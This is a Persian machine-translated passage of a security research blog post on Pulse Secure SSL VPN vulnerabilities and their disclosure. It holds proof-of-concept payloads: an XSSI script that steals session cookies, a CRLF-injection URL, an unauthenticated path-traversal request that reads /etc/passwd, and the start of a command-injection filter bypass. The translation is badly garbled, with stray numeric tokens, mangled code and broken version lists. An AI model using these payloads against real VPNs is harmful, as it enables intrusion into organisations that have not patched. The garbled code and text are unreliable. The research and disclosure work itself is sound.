حمله به SSL VPN – قسمت 3: زنجیره RCE امن SSL VPN با توئیتر به عنوان مطالعه موردی!
نویسنده: Orange Tsai(@orange_8361) و Meh Chang(@mehqq_)
سلام، آخرین قسمت از سری VPN است. اگر هنوز مقالههای قبلی را نخواندهاید، در اینجا پیوندهای سریع برای شما وجود دارد:
پس از اینکه ما تحقیق خود را در Black Hat منتشر کردیم، به دلیل شدت زیاد و تأثیرات بسیار زیاد، مورد توجه و بحثهای زیادی قرار گرفت. بسیاری از مردم مایل به اخبار دست اول هستند و نمیدانند که چه زمانی این اکسپلویت (به خصوص Pulse Secure preAuth one) منتشر خواهد شد. در واقع، ما به سادگی میتوانیم بدون هیچ نگرانی، کل این اکسپلویتها را کنار بگذاریم و در معرض دید رسانههای زیادی قرار بگیریم. با این حال، به عنوان یک شرکت SECURITY، مسئولیت ما این است که جهان را امن تر کنیم. بنابراین ما تصمیم گرفتیم که افشای عمومی را به تعویق بیندازیم تا به جهان زمان بیشتری برای اعمال وصله ها بدهیم!
متاسفانه، سوء استفاده ها توسط شخص دیگری فاش شد. آنها را می توان به راحتی در GitHub[1] [2] [3] و exploit-db[1] پیدا کرد. راستش را بخواهید، نمیتوانیم بگوییم که آنها اشتباه میکنند، زیرا باگها از چندین ماه پیش کاملاً رفع شدهاند، و زمان خود را صرف تغییر/تولید/تولید معکوس کردهاند. اما واقعاً جای بحث برای جامعه امنیتی است: اگر یک سلاح هستهای دارید، چه زمانی برای افشای عمومی آماده است؟ از آمار Bad Packet، تعداد زیادی Fortune 500، ارتش ایالات متحده، دولت ها، موسسات مالی و دانشگاه ها نیز تحت تأثیر این موضوع قرار دارند. حتی 10 سرور ناسا برای این باگ در معرض دید قرار دارند. بنابراین، این افشاگریهای عمومی زودهنگام واقعاً این نهادها را مجبور میکند تا SSL VPN خود را ارتقا دهند، این بخش خوب است.
از سوی دیگر، بخش بد این است که تعداد فزایندهای از باتنتها که اینترنت را اسکن میکنند در این میان وجود دارد. یک اطلاعات همچنین اشاره می کند که در حال حاضر یک گروه APT چین وجود دارد که از این باگ سوء استفاده می کند. این یک فاجعه اینترنتی است. ظاهراً دنیا هنوز آماده نیست. بنابراین، اگر Palo Alto، Fortinet یا Pulse Secure SSL VPN خود را بهروزرسانی نکردهاید، لطفاً آن را در اسرع وقت بهروزرسانی کنید. Pulse Secure برای مدت طولانی در صف تحقیقات ما بوده است زیرا زیرساخت حیاتی Google بود که یکی از اهداف بلندمدت ما است. با این حال، Google از مدل امنیتی Zero Trust استفاده میکند، و بنابراین VPN اکنون حذف شده است.
ما در اواسط دسامبر سال گذشته شروع به بررسی Pulse Secure کردیم. در 2 ماه اول چیزی نگرفتیم. Pulse Secure سبک کدنویسی و آگاهی امنیتی خوبی دارد به طوری که یافتن باگهای پیش پا افتاده دشوار است. اینجا یک مقایسه جالب است، ما فایل دلخواه را با خواندن CVE-2018-13379 در FortiGate SSL VPN در اولین روز تحقیق خود پیدا کردیم…
Pulse Secure نیز عاشق پرل است و تعداد زیادی پسوند Perl را در C++ می نویسد. تعامل بین Perl و C++ نیز برای ما گیج کننده است، اما با آن بیشتر آشنا شدیم در حالی که زمان بیشتری را برای حفاری در آن صرف کردیم. بالاخره اولین خون را در 8 مارس 2019 گرفتیم! این یک سرریز مبتنی بر پشته در رابط مدیریت است! اگرچه این باگ چندان مفید نیست، پیشرفت تحقیقات ما از آن زمان به بعد رو به رو شد و ما باگ های بیشتری را کشف کردیم.
ما همه یافته های خود را در 22 مارس 2019 به Pulse Secure PSIRT گزارش کردیم. . پاسخ آنها بسیار سریع است و این آسیب پذیری ها را جدی می گیرند! پس از چندین تماس کنفرانسی با Pulse Secure، آنها تمام اشکالات را فقط ظرف یک ماه برطرف کردند ، و وصله ها را در 24 آوریل 2019 منتشر کردند. میتوانید مشاوره امنیتی دقیق را بررسی کنید!
زمان بسیار خوبی برای کار با Pulse Secure است. از دیدگاه ما، Pulse Secure مسئول ترین فروشنده در بین تمام فروشندگان SSL VPN است که اشکالات را به آنها گزارش کرده ایم!
ما در مجموع 7 آسیب پذیری پیدا کرده ایم. این لیست است. ما هر یک را معرفی خواهیم کرد، اما روی CVE-2019-11510 و CVE-2019-11539 بیشتر تمرکز می کنیم. admin) Stack Buffer Overflow
- Pulse Connect Secure 9.0R1 – 9.0R3.3
- Pulse Connect Secure 8.3R1 – 8.3R7
- Pulse Connect Secure 8.2R1 – 8.2R590Secure 8.2R1 – 8.2R590[196] Policy Secure 9.0R1 – 9.0R3.3
- Pulse Policy Secure 5.4R1 – 5.4R7
- Pulse Policy Secure 5.3R1 – 5.3R12[19659017
- Pulse Policy Secure 5.4R1 – 5.4R7
- Pulse Policy Secure 5.3R1 – 5.3R12[19659017-51R15
CVE-2019-11540: Cross-Site Sc ript Inclusion
اسکریپت /dana/cs/cs.cgi
شناسه جلسه را در جاوا اسکریپت ارائه میکند. از آنجایی که نوع محتوا روی application/x-javascript
تنظیم شده است، میتوانیم حمله XSSI را برای سرقت کوکی DSID انجام دهیم!
حتی بدتر، حفاظت CSRF در Pulse Secure SSL VPN مبتنی بر DSID. با این XSSI، میتوانیم تمام حفاظت CSRF را دور بزنیم!
PoC:
<script src="https://sslvpn/dana/cs/cs.cgi?action=appletobj"[19659040]>
پنجره . . = عملکرد (19659048] پنجره . سند . . [1965904] ]writeln = function (msg) {
if
f
if
if
if f[19659045 "DSID" ) > = 0 ) هشدار (19659042])
)
[1965907] ()
}
CVE-2019-11507: اسکریپت بین سایتی
یک تزریق CRLF در /dana/home/cts_get_ica.cgi[22].cgi[194590بهدلیلتزریق،میتوانیمهدرهایHTTPدلخواهراجعلکنیمومحتوایمخربHTMLراتزریقکنیم
PoC:
https://sslvpn/dana/home/cts_get_ica.cgi
?bm_id=x
&vdi=1
&appname=aa%0d%0aContent-Type::text/html%0d%0aContent-Disposition::inline%0d%0aaa:bb
CVE-2019-11538: خواندن فایل دلخواه پس از تأیید(کاربر)[ازطریقNF19659034]دو آسیبپذیری زیر (CVE-2019-11538 و CVE-2019-11508) بر پیکربندیهای پیشفرض تأثیر نمیگذارند. تنها در صورتی ظاهر میشود که ادمین اشتراکگذاری NFS را برای کاربران VPN پیکربندی کند.
اگر مهاجم بتواند هر فایلی را در سرور NFS راه دور کنترل کند، فقط میتواند یک پیوند نمادین به هر فایلی مانند /etc/passwd ایجاد کند.
، و آن را از رابط وب بخوانید. علت اصلی این است که پیاده سازی NFS سرور راه دور را به عنوان یک دایرکتوری واقعی لینوکس سوار می کند و اسکریپت /dana/fb/nfs/nfb.cgi
بررسی نمی کند که آیا فایل مورد دسترسی یک پیوند نمادین است یا خیر. !
CVE-2019-11508: نوشتن فایل دلخواه پس از تأیید (کاربر) از طریق NFS
این فایل کمی شبیه به قبلی است، اما با بردار حمله متفاوت است!
هنگامی که مهاجم بارگذاری میکند یک فایل ZIP به NFS از طریق رابط وب، اسکریپت /dana/fb/nfs/nu.cgi
نام فایل را در ZIP پاک نمی کند. بنابراین، یک مهاجم می تواند یک فایل ZIP مخرب بسازد و مسیر را با ../
در نام فایل طی کند! هنگامی که Pulse Secure از حالت فشرده خارج شد، مهاجم میتواند هر چیزی را که میخواهد در هر مسیری آپلود کند!
CVE-2019-11542: Post-auth(admin) Stack Buffer Overflow
یک سرریز بافر مبتنی بر پشته در ماژول Perl زیر وجود دارد. پیادهسازیها:
- DSHC::ConsiderForReporting
- DSHC::isSendReasonStringEnabled
- DSHC::getRemedCustomInstructions
این پیادهسازیها از
https://sslvpn/dana-admin/auth/hc. cgi
?platform=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
&policyid=0
و شما می توانید گسل بخش را از DMESG
CGI-Server مشاهده کردید [22950]: Segfault در 61616161 IP 0000000002A80AFD SP 00000000F9A4D50 خطا 4 در DSHC.SO [2a2f000+87000]
CVE-2019-11510: خواندن فایل دلخواه پیش از تأیید
در واقع، این شدیدترین اشکال در این زمان است. در اجرای وب سرور است. همانطور که در اسلایدهای ما ذکر شد، Pulse Secure وب سرور و پشته معماری خود را از ابتدا پیاده سازی می کند. اعتبارسنجی مسیر اصلی بسیار دقیق است. با این حال، از نسخه 8.2، Pulse Secure ویژگی جدیدی به نام HTML5 Access
معرفی کرد، این ویژگی برای تعامل با Telnet، SSH و RDP توسط مرورگرها است. به لطف این ویژگی جدید، اعتبارسنجی مسیر اصلی شل میشود.
به منظور مدیریت منابع استاتیک، Pulse Secure یک IF-CONDITION جدید ایجاد کرد تا اعتبارسنجی مسیر اصلی را گسترش دهد. کد به اشتباه از request->uri
و request->filepath
استفاده می کند، به طوری که ما می توانیم /dana/html5acc/guacamole/[2] انتهای 194592 را مشخص کنیم. رشته کوئری برای دور زدن اعتبارسنجی و ایجاد
دوباره در میانه راه. در غیر این صورت، فقط میتوانید پسوندهای فایل محدودی مانند json.، xml. یا . درخواستهاrequest->filepath
به هر فایلی که می خواهید دانلود کنید! ]/dana/html5acc/guacamole/
r = درخواستها.دریافت('https://sslvpn/dana.naacamole/.. /../../../../../etc/passwd?/dana/html5acc/guacamole/')
print r. ]
CVE-2019-11539: تزریق فرمان پس از تأیید (مدیریت)
آخرین مورد یک تزریق فرمان در رابط مدیریت است. ما خیلی زود این آسیب پذیری را پیدا کردیم، اما در ابتدا نتوانستیم راهی برای سوء استفاده از آن پیدا کنیم. زمانی که ما در وگاس بودیم، یکی از دوستانم به من گفت که قبلاً همان باگ را پیدا کرده بود، اما راهی برای سوء استفاده از آن پیدا نکرد، بنابراین به فروشنده گزارش نداد.
با این حال، ما این کار را انجام دادیم. ، و ما از آن به روشی بسیار هوشمندانه سوء استفاده می کنیم 🙂
علت اصلی این آسیب پذیری بسیار ساده است. در اینجا یک قطعه کد از /dana-admin/diag/diag.cgi
:
# ...
$options = tcpdump1232tcpdump_123(299129129120012012012012012012012012012012012012012012012012012012012012012012012012012012012001) CGI :: Param ( "گزینه ها" ))؛
# ...
Sub tcpdump_options_syntax_check من $ options = shift;
return $options if سیستم سیستم[19659042-$9659042](UMdn$9045/3$9659042)(UMdn$9045) >&1") == 0;
بازگشت undef؛
0
9[1]
آنقدر واضح و سرراست است که همه می توانند به این نکته اشاره کنند که یک فرمان تزریقی در پارامتر options
وجود دارد! با این حال، آیا به همین راحتی است؟ نه!
برای جلوگیری از آسیب پذیری های احتمالی، Pulse Secure سختی های زیادی را روی محصولات خود اعمال می کند! مانند بررسی یکپارچگی سیستم، سیستم فایل فقط خواندنی و ماژولی برای اتصال همه فراخوانهای خطرناک پرل مانند system
، open
و این ماژول بک تیک
DSSAFE.pm
نامیده می شود. تجزیه کننده خط فرمان خود را پیاده سازی می کند و تغییر مسیرهای I/O را در Perl دوباره پیاده سازی می کند. در اینجا قطعات کد در Gist است.
از قطعات کد، می توانید ببینید که جایگزین سیستم اصلی شده است و بررسی های زیادی را در
__parsecmd
انجام می دهد. همچنین بسیاری از شخصیتهای بد مانند:
[&*(){}[]`;|?n~<>] را مسدود میکند.
بررسیها بسیار سختگیرانه هستند به طوری که ما نمیتوانیم هیچ دستوری را تزریق کنیم. ما چندین راه برای دور زدن آن تصور کردیم و اولین چیزی که از ذهن من خارج شد تزریق استدلال است. ما تمام آرگومان هایی را که TCPDUMP
پشتیبانی می کند فهرست کردیم و دریافتیم که -z postrotate-command
ممکن است مفید باشد. اما نکته غم انگیز این است که TCPDUMP
در Pulse Secure برای پشتیبانی از این ویژگی شاداب خیلی قدیمی است (نسخه 3.9.4، سپتامبر 2005)، بنابراین ما شکست خوردیم:(
در حین بررسی سیستم، متوجه شدیم که اگرچه webroot فقط خواندنی است، اما همچنان میتوانیم از مکانیسم کش سوء استفاده کنیم. Pulse Secure نتیجه الگو را در /data/runtime/tmp/tt/
ذخیره میکند تا سرعت رندر اسکریپت را افزایش دهد. بنابراین تلاش بعدی ما این است که یک فایل را از طریق آرگومان -w write-file
در دایرکتوری کش الگو بنویسید. با این حال، نوشتن یک فایل چند زبانه در هر دو فرمت PCAP و Perl غیرممکن به نظر می رسد.
همانطور که به نظر می رسد به پایان رسیده بودیم. برای تزریق آرگومان، سعی کردیم در پیاده سازی DSSFAFE.pm
عمیق تر بگردیم تا ببینیم آیا چیزی وجود دارد که بتوانیم از آن استفاده کنیم یا خیر. در اینجا نقصی در تجزیه کننده خط فرمان پیدا کردیم. اگر یک I/O ناقص وارد کنیم. ریدایرکت، بقیه قسمت تغییر مسیر کوتاه می شود. اگرچه این یک نقص کوچک است، اما به ما کمک کرد تا I/O r را دوباره کنترل کنیم. جهت های الکترونیکی! با این حال، مشکل اینکه ما نمیتوانیم یک اسکریپت معتبر Perl تولید کنیم، همچنان ما را آزار میدهد.
ما در اینجا گیر کردیم، و زمان آن رسیده است که خارج از جعبه فکر کنیم. ایجاد یک اسکریپت معتبر Perl از طریق STDOUT
دشوار است، آیا میتوانیم Perl را فقط توسط STDERR
بنویسیم؟ پاسخ بله است. هنگامی که TCPDUMP
را مجبور می کنیم که یک فایل غیرموجود را از طریق -r read-file
بخواند. خطا را نشان میدهد:
tcpdump: [filename]: چنین فایل یا فهرستی وجود ندارد
به نظر میرسد که میتوانیم « جزئی» پیام خطا را کنترل کنیم. سپس نام فایل print 123#
را امتحان کردیم، و جادو اتفاق افتاد!
tcpdump: print 123#: چنین فایل یا دایرکتوری وجود ندارد
$ tcpdump -d -r 'print 123#' 2>&1 | پرل –
123